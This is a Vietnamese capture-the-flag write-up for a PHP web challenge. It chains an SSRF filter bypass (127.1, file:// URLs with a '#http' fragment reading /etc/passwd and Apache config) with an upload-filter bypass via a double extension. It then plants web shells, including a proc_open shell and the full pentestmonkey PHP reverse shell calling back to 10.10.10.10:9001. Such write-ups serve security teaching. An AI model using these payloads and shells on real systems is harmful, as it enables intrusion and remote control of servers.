Truy cập trang web ![image](https://hackmd.io/_uploads/H1eI1-wJZx.png) Thử chức năng của trang web .Ta biết chức năng trang web gửi yêu cầu GET tới đường dẫn url truyền vào và trả về phản hồi của url ![image](https://hackmd.io/_uploads/SJjeJbvyZg.png) ` This URL has no default content configured. <a href="https://webhook.site/#!/edit/b59dd0c4-c8db-4633-baa0-49f57374c5b7">Change response in Webhook.site</a>. ` Sử dụng công cụ Wappalyzer để kiểm tra công nghệ trang web đang sử dụng ![image](https://hackmd.io/_uploads/HyUmkWDJ-e.png) Biết được trang web được code bởi ngôn ngữ PHP phiên bản 8.1.33 ![image](https://hackmd.io/_uploads/BksRybDkbl.png) Dựa vào chức năng ta có dự đoán ban đầu trang web có lỗ hổng SSRF Thử truy cập tới ``` http://127.0.0.1/ ``` ![image](https://hackmd.io/_uploads/BkhRtSDy-e.png) Phản hồi trả về `Invalid URL : access to localhost is not allowed` -> Đang chặn `127.0.0.1` Sử dụng payload khác ``` http://127.1/ ``` thành công trả về phản hồi là nội dung trang ![image](https://hackmd.io/_uploads/HJ0Mqrvkbe.png) -> Xác nhận lỗ hổng SSRF Ta thử đọc nội dung file /etc/passwd với payload ``` file:///etc/passwd ``` Phản hồi trả về yêu cầu trong url phải có `http` ![image](https://hackmd.io/_uploads/rJZK9Hwk-g.png) Ta thêm `http` vào đằng sau fragment `#` .Và cuối cùng với payload ``` file:///etc/passwd#http ``` ta thành công đọc được nội dung file `etc/passwd` ![image](https://hackmd.io/_uploads/SJATebvkbx.png) Tiếp tục ta đọc nội dung các file của trang web trong thư mục `/var/www/html` ` file:///var/www/html#http ` ![image](https://hackmd.io/_uploads/HJQQWbDyZg.png) ``` file:///var/www/html/challenge.php#http ``` ![image](https://hackmd.io/_uploads/Bk3czWwk-g.png) Trang web sử dụng bộ lọc đầu vào lỏng lẻo chỉ kiểm tra xem có chứa `http` trong url không và xem có chứa chuỗi `127.0.0.1` và `localhost` không ``` <?php if (isset($_GET['url'])) { $url = $_GET['url']; if (stripos($url, 'http') === false) { die("<p style='color:#ff5252'>Invalid URL: must include 'http'</p>"); } if (stripos($url, '127.0.0.1') !== false || stripos($url, 'localhost') !== false) { die("<p style='color:#ff5252'>Invalid URL: access to localhost is not allowed</p>"); } $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); if ($response === false) { echo "<p style='color:#ff5252'>cURL Error: " . curl_error($ch) . "</p>"; } else { echo "<h3>Fetched content:</h3>"; echo "<pre>" . htmlspecialchars($response) . "</pre>"; } curl_close($ch); } ?> ``` Ta thấy trong thư mục `/var/www/html` có 1 file `upload_shoppix_images.php` ta thử truy cập vào đường dẫn `/upload_shoppix_images.php` nhưng bị chặn truy cập ![image](https://hackmd.io/_uploads/HJlEXWwy-x.png) Ta biết được web đang chạy trên php 8.1.33 ta nghĩ tới việc tìm đọc file cấu hình chặn truy cập vào đường dẫn `/upload_shoppix_images.php` ![image](https://hackmd.io/_uploads/SywHp-DJWl.png) ``` file:///etc/apache2/sites-available/000-default.conf#http ``` ![image](https://hackmd.io/_uploads/By1N6bvJ-l.png) ``` <Files "upload_shoppix_images.php"> <If "%{HTTP:is-shoppix-admin} != 'true'"> Require all denied </If> Require all granted </Files> ``` `HTTP:is-shoppix-admin` → đại diện cho header HTTP có tên is-shoppix-admin ![image](https://hackmd.io/_uploads/rJe6CZwJZg.png) ![image](https://hackmd.io/_uploads/HyYbkMvJ-l.png) Ta đọc source code của file `upload_shoppix_images.php` bằng câu lệnh ``` file:///var/www/html/upload_shoppix_images.php ``` ![image](https://hackmd.io/_uploads/SyPlEZPk-x.png) ``` <?php if ($_SERVER['REQUEST_METHOD'] === 'POST') { $file = $_FILES['image']; $filename = $file['name']; $tmp = $file['tmp_name']; $mime = mime_content_type($tmp); if ( strpos($mime, "image/") === 0 && (stripos($filename, ".png") !== false || stripos($filename, ".jpg") !== false || stripos($filename, ".jpeg") !== false) ) { move_uploaded_file($tmp, "uploads/" . basename($filename)); echo "<p style='color:#00e676'>✅ File uploaded successfully to /uploads/ directory!</p>"; } else { echo "<p style='color:#ff5252'>❌ Invalid file format</p>"; } } ?> ``` Thì ra đường dẫn `upload_shoppix_images.php` nhận phương thức POST . Hàm `mimi_content_type` của file bằng thông tìm từ file magic.mime ![image](https://hackmd.io/_uploads/ByOSVGv1bx.png) -> Ta dễ dàng thay đổi magic.mime file của ảnh Hàm `stripos` là hàm vị trí của chuỗi cần tìm trong chuỗi khác nếu không có trả về False . ![image](https://hackmd.io/_uploads/rkiIXzD1Zx.png) Trong code hàm kiểm tra xem có tồn tại chuỗi `image/` ở đầu không Tương tự nó chỉ kiểm tra xem có tồn tại chuỗi `.png` ,`.jpg` , `.jpeg` trong tên file không .-> Ta dễ dàng bypas bằng cách đặt tên`shell.png.php` Ta thấy dòng `move_uploaded_file($tmp, "uploads/" . basename($filename))` là dòng để di chuyển chuyển file từ thư mục `$tmp` vào thư mục uploads. Ta thử upload 1 file ảnh bình thường lên ![image](https://hackmd.io/_uploads/HyiTXVw1bl.png) ![image](https://hackmd.io/_uploads/HJaRQNPy-e.png) Ta biết được đường dẫn nơi chứa file ảnh upload lên ![image](https://hackmd.io/_uploads/ryYgN4Dybl.png) Dựa vào source code bên trên ta upload ảnh có tên `shellexploit.png.php` chứa nội dung payload trong ảnh là `<?php system($_GET['cmd']); ?>` Upload thành công ảnh ![image](https://hackmd.io/_uploads/Hkic4NwJZe.png) Nhưng ta không có được web shell khi truy cập vào đường dẫn ảnh ![image](https://hackmd.io/_uploads/S1HgBNDJZx.png) Ta thử upload nội dung cơ bản hơn là `<?php phpinfo();?>` ![image](https://hackmd.io/_uploads/HywLBEvkWl.png) Thành công đọc được nội dung phpinfo() ![image](https://hackmd.io/_uploads/Skp1IEDJWe.png) Ta phát hiện trang web đang chặn thực thi các hàm `system,,passthru,shell_exec,popen,exec` ![image](https://hackmd.io/_uploads/r1L0wEvk-l.png) Đó chính là lí do tại sao ta upload web shell ban đầu thành công nhưng không thực thi Hướng thay thế : ta sử dụng webshell với hàm thực thi là proc_open ![image](https://hackmd.io/_uploads/S1jgISD1bx.png) ``` <div><?php $cmd = $_GET["cmd"]; echo "<p><b>Command</b><br>$cmd</p>"; $descriptorspec = [ 0 => ["pipe", "r"], // stdin 1 => ["pipe", "w"], // stdout 2 => ["pipe", "w"], // stderr ]; $process = proc_open($cmd, $descriptorspec, $pipes); echo "<p><b>Output:</b><p>"; echo "<div>"; if (is_resource($process)) { while ($line = fgets($pipes[1])) { echo "$line<br>"; } fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); $return_value = proc_close($process); echo "The command returned $return_value\n"; } echo "<div>" ?> </div> ``` ![image](https://hackmd.io/_uploads/HkHeEBvyWx.png) Ta thành công upload webshell và webshell đã chạy với `cmd=whoami` ![image](https://hackmd.io/_uploads/HkKvEBv1Ze.png) ![image](https://hackmd.io/_uploads/Ske9VHvkWx.png) ![image](https://hackmd.io/_uploads/S10FUBP1-x.png) Cuối cùng ta thành công tìm được file chứa flag và đọc được flag `INTIGRITI{ngks896sdjvsjnv6383utbgn}` Ta sử dụng đoạn code reverse shell php này ``` <?php // php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php // Copyright (C) 2007 pentestmonkey@pentestmonkey.net set_time_limit (0); $VERSION = "1.0"; $ip = '10.10.10.10'; $port = 9001; $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; bash -i'; $daemon = 0; $debug = 0; if (function_exists('pcntl_fork')) { $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); } if ($pid) { exit(0); // Parent exits } if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise. This is quite common and not fatal."); } chdir("/"); umask(0); // Open reverse connection $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } $descriptorspec = array( 0 => array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1); } stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit ($string) { if (!$daemon) { print "$string\n"; } } ?> ``` Upload reverse shell lên nằm bên trong nội dung ảnh ![image](https://hackmd.io/_uploads/rJ_PDrwk-l.png) Truy cập vào đường dẫn chứa ảnh lấy thành công reverse shell ![image](https://hackmd.io/_uploads/rk70wSwk-g.png)